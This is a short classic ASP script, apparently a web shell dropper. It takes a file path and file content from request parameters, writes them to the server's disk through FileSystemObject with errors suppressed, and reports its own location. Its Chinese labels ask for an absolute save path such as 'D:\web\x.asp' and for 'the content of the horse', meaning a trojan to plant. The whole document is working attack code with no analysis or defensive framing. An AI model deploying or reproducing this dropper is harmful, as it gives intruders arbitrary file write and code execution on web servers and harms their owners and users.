<% dim objFSO %> <% dim fdata %> <% dim objCountFile %> <% on error resume next %> <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %> <% if Trim(request("syfdpath"))<>"" then %> <% fdata = request("cyfddata") %> <% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %> <% objCountFile.Write fdata %> <% if err =0 then %> <% response.write "save Success!" %> <% else %> <% response.write "Save UnSuccess!" %> <% end if %> <% err.clear %> <% end if %> <% objCountFile.Close %> <% Set objCountFile=Nothing %> <% Set objFSO = Nothing %> <% Response.write "

" %> <% Response.write "保存文件的绝对路径(包括文件名:如D:\web\x.asp):" %> <% Response.Write "" %> <% Response.Write "
" %> <% Response.write "本文件绝对路径" %> <% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %> <% Response.write "
" %> <% Response.write "输入马的内容:" %> <% Response.write "" %> <% Response.write "" %> <% Response.write "

" %>